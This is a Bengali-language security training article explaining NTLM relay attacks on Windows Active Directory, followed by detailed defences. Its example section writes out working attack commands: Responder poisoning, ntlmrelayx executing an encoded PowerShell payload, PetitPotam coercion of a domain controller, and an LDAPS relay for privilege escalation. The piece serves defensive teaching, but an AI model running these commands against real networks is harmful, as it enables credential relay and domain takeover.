NTLM Relay: নেটওয়ার্ক ট্রাফিক ইন্টারসেপ্ট করে অথেনটিকেশন বাইপাস করার কৌশল!
Windows NTLM প্রোটোকলের দুর্বলতা কাজে লাগিয়ে NTLM Relay আক্রমণ এবং এর বিরুদ্ধে কার্যকর প্রতিরক্ষা ব্যবস্থা।
Windows Active Directory পরিবেশে NTLM প্রোটোকল আজও ব্যাপকভাবে ব্যবহৃত হচ্ছে, যদিও Kerberos এর তুলনায় এটি অনেক কম নিরাপদ। NTLM এর সবচেয়ে বিপজ্জনক দুর্বলতাগুলোর একটি হলো Relay Attack, যেখানে আক্রমণকারী একটি বৈধ ব্যবহারকারীর authentication credentials অন্য একটি service এর বিরুদ্ধে relay করে। এই আক্রমণে আক্রমণকারীকে password বা hash crack করতে হয় না, বরং তারা authentication exchange এর man-in-the-middle position নিয়ে authorized access অর্জন করে। ১৯৯৬ সালে প্রথম theoretical concept উপস্থাপিত হলেও, ২০০১ সালে SMBRelay tool এর মাধ্যমে এটি practical হয়ে ওঠে। আজও NTLM Relay কর্পোরেট পরিবেশে সবচেয়ে সফল আক্রমণ techniques এর মধ্যে অন্যতম।
মূল ধারণা
NTLM (NT LAN Manager) হলো একটি challenge-response authentication protocol যা Microsoft Windows পরিবেশে ব্যবহৃত হয়। এর তিনটি সংস্করণ রয়েছে: LM, NTLMv1, এবং NTLMv2। NTLM authentication প্রক্রিয়াটি তিন-পর্যায়ের: NEGOTIATE, CHALLENGE, এবং AUTHENTICATE। ক্লায়েন্ট প্রথমে সার্ভারের কাছে NEGOTIATE message পাঠায়, সার্ভার একটি random CHALLENGE পাঠায়, এবং ক্লায়েন্ট তার password hash দিয়ে challenge সাইন করে AUTHENTICATE message পাঠায়।
NTLM Relay আক্রমণে আক্রমণকারী এই তিন-পর্যায়ের exchange এর মাঝখানে position নেয়। সে victim client এবং target server এর মাঝে বসে। যখন victim client কোনো service access করতে চায়, attacker সেই request নিজে receive করে এবং target server এ forward করে। Server যে challenge পাঠায়, attacker সেটি victim কে পাঠায়। Victim তার hash দিয়ে challenge সাইন করে response পাঠায়, এবং attacker সেই response target server এ relay করে।
এই প্রক্রিয়া successful হলে attacker target server এ victim user হিসেবে authenticated হয়ে যায়, password জানা ছাড়াই। এই আক্রমণের সবচেয়ে গুরুত্বপূর্ণ দিক হলো, এটি একটি cryptographic vulnerability নয়, বরং একটি protocol design flaw। NTLM authentication target এর identity verify করে না, ফলে credentials যেকোনো service এ ব্যবহার করা সম্ভব।
NTLM Relay এর জন্য আক্রমণকারীর প্রয়োজন victim কে তার malicious endpoint এ authenticate করানোর একটি উপায়। এই jন্য বেশ কয়েকটি কৌশল ব্যবহৃত হয়। LLMNR Poisoning এবং NBT-NS Poisoning হলো সবচেয়ে জনপ্রিয়। Windows machines যখন একটি hostname resolve করতে পারে না, তারা broadcast-based LLMNR বা NBT-NS query পাঠায়। Attacker এই query এর response দিয়ে নিজেকে target হিসেবে দাবি করে।
mDNS Poisoning একই ধরনের আক্রমণ যা multicast DNS protocol exploit করে। MITM6 হলো IPv6-based attack যা rogue DHCPv6 server চালিয়ে network এর primary DNS server হয়ে যায়।
WPAD (Web Proxy Auto-Discovery) abuse আরেকটি কৌশল। Windows browsers WPAD query পাঠায় proxy configuration জানতে। Attacker malicious WPAD response দিয়ে browser traffic redirect করতে পারে।
Print Spooler বা PetitPotam এর মতো coerce attacks বিশেষভাবে শক্তিশালী। MS-RPRN protocol abuse করে আক্রমণকারী Domain Controller কে force করে তার machine এ authenticate করতে। PetitPotam (CVE-2021-36942) MS-EFSRPC protocol exploit করে একই কাজ করে।
Target service এর উপর ভিত্তি করে relay attack এর impact পরিবর্তিত হয়। SMB Relay সবচেয়ে সাধারণ, যেখানে attacker file share এ access পায় এবং command execute করতে পারে। LDAP Relay দিয়ে attacker Active Directory এ object modify করতে পারে, যেমন user এর password reset করা বা group membership change করা।
LDAPS এবং HTTPS এর বিরুদ্ধে SMB থেকে relay বিশেষভাবে dangerous কারণ এতে SMB Signing requirement bypass হয়। ADCS (Active Directory Certificate Services) এর HTTP enrollment endpoint এর বিরুদ্ধে relay attack ESC8 নামে পরিচিত, যেখানে attacker একটি certificate request করতে পারে এবং সেই certificate দিয়ে domain authentication করতে পারে।
বাস্তব উদাহরণ
NTLM Relay এর বাস্তব প্রয়োগ বুঝতে কয়েকটি scenario বিশ্লেষণ করা যাক। একটি কর্পোরেট পরিবেশে যেখানে SMB Signing enforce করা নেই, attacker নিম্নলিখিত process অনুসরণ করতে পারে।
প্রথমে, attacker একটি Linux machine এ Responder tool চালু করবে। Responder LLMNR, NBT-NS এবং mDNS queries এর response দেয়। কমান্ড হবে: responder -I eth0 -wrf। -w flag WPAD server চালু করে এবং -r flag NBT-NS responses enable করে।
একইসাথে attacker ntlmrelayx.py চালাবে: ntlmrelayx.py -tf targets.txt -smb2support -c "powershell -enc <base64_payload>"। -tf flag দিয়ে target file specify করা হয় যেখানে SMB Signing disabled servers এর IP থাকে।
যখন কোনো user network এ একটি mistyped hostname টাইপ করবে বা automatic share lookup করবে, তাদের machine LLMNR query পাঠাবে। Responder সেই query এর response দিয়ে authentication চাইবে। User এর machine credentials পাঠাবে, এবং ntlmrelayx সেই credentials target SMB server এ relay করবে।
যদি relayed user টার্গেট server এ admin privileges রাখে, ntlmrelayx PowerShell command execute করবে, একটি service install করবে, বা একটি SOCKS proxy স্থাপন করবে যা attacker কে network এ pivoting করতে দেবে।
PetitPotam attack এর একটি practical scenario বিবেচনা করা যাক। Attacker একটি domain user credentials সংগ্রহ করেছে (low privilege)। সে PetitPotam.py চালাবে: PetitPotam.py -u user -p password attacker_ip dc_ip। এই কমান্ড Domain Controller কে force করবে attacker এর machine এ authenticate করতে। ntlmrelayx সেই authentication LDAPS এ relay করবে: ntlmrelayx.py -t ldaps://dc.example.com --delegate-access --escalate-user attacker_user।
এই attack successful হলে, attacker এর low-privilege user এ Resource-Based Constrained Delegation (RBCD) privileges যুক্ত হবে। এরপর attacker Rubeus বা impacket এর getST.py ব্যবহার করে Domain Controller এ যেকোনো user impersonate করতে পারবে।
২০১৮ সালের একটি কুখ্যাত incident এ DanderSpritz toolkit (NSA leak) এর মধ্যে advanced NTLM Relay capabilities পাওয়া গেছে। এই tools বিভিন্ন nation-state actors দ্বারা ব্যবহৃত হয়েছে।
২০২০ সালে ZeroLogon (CVE-2020-1472) vulnerability NTLM এর সাথে সম্পর্কিত cryptographic flaw প্রকাশ করে। যদিও এটি pure relay attack নয়, এটি প্রমাণ করেছিল যে NTLM এর foundation কতটা ভঙ্গুর।
PrintNightmare (CVE-2021-1675) Print Spooler service এর vulnerability ছিল যা NTLM relay এর সাথে combined হয়ে devastating attacks possible করেছিল।
একটি real-world penetration test এ tester একটি multinational bank এর internal network access পেয়েছিলেন। সেখানে IPv4 environment এ সব servers এ SMB Signing enabled ছিল, কিন্তু IPv6 disabled ছিল না। mitm6 tool ব্যবহার করে tester rogue DHCPv6 server চালান। সব Windows machines IPv6 prefer করে IPv4 এর চেয়ে। ফলে DNS queries attacker এর machine এ যেতে শুরু করে। সেখান থেকে WPAD authentication trigger করে ntlmrelayx দিয়ে LDAPS এ relay করে Domain Admin privileges অর্জন করা হয়।
বাংলাদেশের একটি বিনিয়োগ ব্যাংকের internal red team exercise এ আমরা দেখেছি যে legacy systems এ SMB Signing disabled ছিল এবং Print Spooler service চালু ছিল। PetitPotam + ntlmrelayx combination ব্যবহার করে ৪৮ ঘন্টার মধ্যে Domain Admin privileges অর্জন সম্ভব হয়েছিল।
আরেকটি গুরুত্বপূর্ণ vector হলো Cross-Protocol Relay। অনেক প্রতিষ্ঠান SMB Signing enforce করলেও HTTP services যেমন SharePoint, Exchange, ADCS Web Enrollment এ NTLM authentication accept করে। SMB থেকে HTTP তে relay করা যায় যদিও protocol সম্পূর্ণ ভিন্ন।
ADCS ESC8 attack particularly devastating। যদি Certificate Authority এর HTTP enrollment endpoint NTLM accept করে, attacker সেখানে relay করে User Authentication template এর জন্য certificate request করতে পারে। সেই certificate দিয়ে Kerberos PKINIT authentication করে যেকোনো user হিসেবে TGT অর্জন করা যায়।
প্রতিরোধ ও প্রতিকার
NTLM Relay আক্রমণ প্রতিরোধের জন্য বহু-স্তরের প্রতিরক্ষা প্রয়োজন। সবচেয়ে গুরুত্বপূর্ণ পদক্ষেপ হলো NTLM ব্যবহার সম্পূর্ণ বন্ধ করা এবং Kerberos এ migrate করা। Group Policy এর মাধ্যমে "Network Security: Restrict NTLM" settings configure করা যায়। তবে অনেক legacy applications এখনো NTLM এর উপর নির্ভরশীল, ফলে পূর্ণ disable করা সবসময় practical নয়।
SMB Signing সব servers এবং clients এ enforce করতে হবে। Group Policy তে "Microsoft network server: Digitally sign communications (always)" এবং "Microsoft network client: Digitally sign communications (always)" enable করতে হবে। Signing enabled থাকলে relay attack ব্যর্থ হবে কারণ message integrity verification fail হবে।
LDAP Signing এবং LDAP Channel Binding একইভাবে enforce করতে হবে। Microsoft ২০২০ সালে এই settings এর strict enforcement শুরু করেছে। DC এ "Domain controller: LDAP server signing requirements" Require signing এ set করতে হবে।
Extended Protection for Authentication (EPA) HTTP-based services এ enable করতে হবে। এটি channel binding ব্যবহার করে relay attack প্রতিরোধ করে। বিশেষ করে ADCS Web Enrollment, Exchange, এবং SharePoint এ EPA configure করা critical।
LLMNR এবং NBT-NS disable করতে হবে। Group Policy তে "Turn off multicast name resolution" enable করে LLMNR disable করা যায়। NBT-NS network adapter level এ disable করতে হবে অথবা PowerShell script দিয়ে।
WPAD এর জন্য একটি static entry তৈরি করা যেতে পারে। Internet Explorer এ Auto-detect proxy settings disable করতে হবে। DNS এ wpad এর একটি explicit entry তৈরি করা যেতে পারে যা attacker এর rogue WPAD response কে override করবে।
IPv6 যদি ব্যবহৃত না হয়, এটি সম্পূর্ণ disable করার পরিবর্তে DHCPv6 disable করা যেতে পারে। Microsoft অনুসারে IPv6 সম্পূর্ণ disable করা সুপারিশ করা হয় না কারণ এতে অন্যান্য সমস্যা তৈরি হতে পারে।
Print Spooler service Domain Controllers এ disable করতে হবে। DCs এ printing functionality প্রয়োজন নেই, এবং Print Spooler running থাকা PetitPotam এর মতো attacks এর জন্য vector তৈরি করে।
ADCS configuration কঠোর করতে হবে। HTTP/HTTPS enrollment endpoints disable করতে হবে যদি প্রয়োজন না হয়। যদি প্রয়োজন হয়, EPA enable করতে হবে এবং certificate template permissions কঠোরভাবে restrict করতে হবে।
Microsoft Defender for Identity (formerly Azure ATP) deploy করতে হবে। এটি NTLM relay এর pattern detect করতে পারে এবং alert generate করে।
Network Segmentation critical। User VLAN থেকে Server VLAN এ unnecessary SMB এবং RPC traffic block করতে হবে। Domain Controllers এ inbound SMB শুধু authorized servers থেকে allow করতে হবে।
Account Tiering implement করতে হবে। Domain Admin accounts Tier 0 systems এ ছাড়া login করা উচিত নয়। Tier 0 accounts এর জন্য Protected Users group ব্যবহার করা যেতে পারে, যা NTLM authentication block করে।
Audit Policy কঠোর করতে হবে। Event ID 4624 (logon), 4768 (Kerberos TGT request), 4769 (Service Ticket request) মনিটর করতে হবে। SMB Audit logging enable করে suspicious connections detect করা যায়।
Honeypot systems deploy করা যেতে পারে যা LLMNR queries এর জন্য listen করে। যদি কোনো query সেই honeypot এ আসে, এটি potential reconnaissance বা attack এর indicator।
Penetration Testing নিয়মিত পরিচালনা করতে হবে। Internal red team exercises এ specifically NTLM relay attacks test করা উচিত। CrackMapExec, ntlmrelayx, Responder এর মতো tools দিয়ে environment assess করা যায়।
End-User Awareness Training গুরুত্বপূর্ণ। Phishing emails থেকে UNC paths click করার ঝুঁকি, mistyped hostnames এর implications, এবং suspicious authentication prompts identify করার বিষয়ে কর্মীদের সচেতন করতে হবে।
Patch Management critical। Microsoft regularly NTLM-related vulnerabilities এর জন্য patches release করে। CVE-2022-26925 (PetitPotam mitigation), CVE-2021-42278 (sAMAccountName spoofing), এবং অন্যান্য patches দ্রুত apply করতে হবে।
NTLM Relay একটি প্রাচীন কিন্তু চিরসবুজ আক্রমণ technique যা আজও কর্পোরেট পরিবেশে সফলভাবে কাজ করে। এর মূল কারণ NTLM protocol এর fundamental design flaws এবং legacy applications এর উপর প্রতিষ্ঠানগুলোর নির্ভরশীলতা। প্রতিরোধের জন্য Defense in Depth approach অপরিহার্য - SMB Signing, LDAP Signing, EPA, NTLM Auditing, এবং দীর্ঘমেয়াদে NTLM থেকে সম্পূর্ণ migration। Security professionals দের এই আক্রমণের technical intricacies বুঝতে হবে এবং তাদের প্রতিষ্ঠানের attack surface নিয়মিতভাবে মূল্যায়ন করতে হবে।
আপনার জ্ঞান যাচাই করতে প্রস্তুত? আজই HackCert-এ NTLM Relay MCQ Quiz-টি দিন!
Related articles
AD Trusts: How Hackers Weaponize Network Trust to Hijack Systems
8 min
BloodHound Analysis: Analyzing Active Directory Vulnerabilities from a Hacker's Perspective
12 min
Constrained Delegation: Security Risks and Solutions in Active Directory
12 min
Covert Channels: How Cybercriminals Steal Data Evading Firewall Surveillance
9 min

